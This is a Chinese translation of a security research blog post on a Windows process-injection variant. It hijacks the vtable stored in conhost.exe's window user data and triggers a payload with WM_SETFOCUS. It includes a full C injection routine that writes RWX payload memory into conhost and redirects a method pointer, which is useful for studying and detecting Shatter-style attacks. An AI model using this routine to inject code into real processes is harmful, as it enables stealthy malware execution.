windows进程注入技术之控制台窗口类

原文：https://modexp.wordpress.com/2018/09/12/process-injection-user-data/

介绍

每个窗口对象都支持通过SetWindowLongPtr API和GWLP_USERDATA参数设置的用户数据。一个窗口的用户数据只是少量的内存，通常用于存储一个指向类对象的指针。在控制台窗口主机(conhost)进程中，它存放了一个数据结构体的地址。结构体中的内容包括窗口在当前桌面上的位置，窗口尺寸，对象句柄以及一个带有控制控制台窗口行为方法的类对象。

conhost.exe的用户数据存放在一个有写权限的堆上。这使得其可被用于进程注入，类似于之前讨论过的Extra Bytes方法(原文及译文)。

控制台窗口类

在图1中，我们可以看到一个控制台程序所使用的窗口对象的属性。注意到 Window Proc 字段是空的。User Data字段指向了一个虚拟地址，但它并没有驻留在控制台程序当中，而是在控制台程序启动时系统生成的conhost.exe中。


图1. 数据结构的虚拟地址

图2显示了窗口类的信息，并高亮显示了一个负责处理窗口消息的回调程序的地址。

图2. 窗口处理来自操作系统的消息的过程

调试conhost.exe

图3显示了连接到控制台主机的调试器以及用户数据（0x000001CB3836F580）的转储。第一个64位值指向一个方法虚拟表（函数数组）。


图3. 用户数据地址

图4显示了存储在虚拟表中的方法。


图4. 虚拟表中的方法

在覆盖任何内容之前，我们需要确定如何从外部应用触发执行这些函数。为虚拟表设置一个“中断访问”（break on access, ba），然后向窗口发送信息，用以披露可接受的内容。图5显示了在发送了WM_SETFOCUS消息之后触发的一个断点。


图5. 虚拟表的中断访问

现在我们知道，只需要劫持一个方法，就可以触发执行。在这个前提下，注意到处理WM_SETFOCUS消息时首先会调用GetWindowHandle，图6显示此方法不需要任何参数，只返回一个用户数据中的窗口句柄。


图6. GetWindowHandle方法

虚拟表

下列结构体定义了conhost用来控制控制台窗口行为的虚拟表，不需要为每个方法都定义原型，除非我们想要使用除GetWindowHandle以外的，不需要参数的东西。

typedef struct _vftable_t {
    ULONG_PTR     EnableBothScrollBars;
    ULONG_PTR     UpdateScrollBar;
    ULONG_PTR     IsInFullscreen;
    ULONG_PTR     SetIsFullscreen;
    ULONG_PTR     SetViewportOrigin;
    ULONG_PTR     SetWindowHasMoved;
    ULONG_PTR     CaptureMouse;
    ULONG_PTR     ReleaseMouse;
    ULONG_PTR     GetWindowHandle;
    ULONG_PTR     SetOwner;
    ULONG_PTR     GetCursorPosition;
    ULONG_PTR     GetClientRectangle;
    ULONG_PTR     MapPoints;
    ULONG_PTR     ConvertScreenToClient;
    ULONG_PTR     SendNotifyBeep;
    ULONG_PTR     PostUpdateScrollBars;
    ULONG_PTR     PostUpdateTitleWithCopy;
    ULONG_PTR     PostUpdateWindowSize;
    ULONG_PTR     UpdateWindowSize;
    ULONG_PTR     UpdateWindowText;
    ULONG_PTR     HorizontalScroll;
    ULONG_PTR     VerticalScroll;
    ULONG_PTR     SignalUia;
    ULONG_PTR     UiaSetTextAreaFocus;
    ULONG_PTR     GetWindowRect;
} ConsoleWindow;

用户数据结构

图7显示了用户数据体的总大小是104字节。由于默认情况下分配具有PAGE_READWRITE保护，因此可以一个带有payload 地址的副本覆盖掉原来指向虚拟表的指针。


图7. 数据结构的分配

完整的函数

此函数演示了如何在触发某些代码的执行前使用副本替换掉原来的虚拟表。在64位的win10系统中测试成功。

VOID conhostInject(LPVOID payload, DWORD payloadSize) {
    HWND          hwnd;
    LONG_PTR      udptr;
    DWORD         pid, ppid;
    SIZE_T        wr;
    HANDLE        hp;
    ConsoleWindow cw;
    LPVOID        cs, ds;
    ULONG_PTR     vTable;

  1. 获得一个控制台窗口的句柄和pid（假设进程已经在运行）

    hwnd = FindWindow(L"ConsoleWindowClass", NULL);
 GetWindowThreadProcessId(hwnd, &ppid);

  2. 获得主进程的 pid

    pid = conhostId(ppid);
  3. 打开 conhost.exe 进程
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  4. 分配内存的读写执行权限并将 payload 复制进去
    cs = VirtualAllocEx(hp, NULL, payloadSize, 
   MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
  5. 读取当前虚拟表的地址
    udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);
 ReadProcessMemory(hp, (LPVOID)udptr, 
     (LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
  6. 将当前虚拟表读取到本地内存
    ReadProcessMemory(hp, (LPVOID)vTable, 
   (LPVOID)&cw, sizeof(ConsoleWindow), &wr);
  7. 为新的虚拟表分配读写权限
    ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow), 
   MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  8. 使用payload 的地址更新本地虚拟表的副本，并写入到远程进程中
    cw.GetWindowHandle = (ULONG_PTR)cs;
 WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);
  9. 在远程进程中更新指向虚拟表的指针
    WriteProcessMemory(hp, (LPVOID)udptr, &ds, 
  sizeof(ULONG_PTR), &wr);
  10. 触发payload执行
    SendMessage(hwnd, WM_SETFOCUS, 0, 0);
  11. 将指针存储在原始的虚拟表中
    WriteProcessMemory(hp, (LPVOID)udptr, &vTable, 
 sizeof(ULONG_PTR), &wr);
  12. 释放内存，关闭句柄
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}

小结

这是“Shatter”攻击的另一种变体，其中窗口消息和回调函数被滥用于执行代码而不需要创建新线程。本文显示的方法仅适用于控制台窗口，或者更准确的说，适用于“控制台窗口类”。然而，其他的应用也会使用GWLP_USERDATA来存放一个指向类对象的指针。可以在这里找到PoC。

源链接

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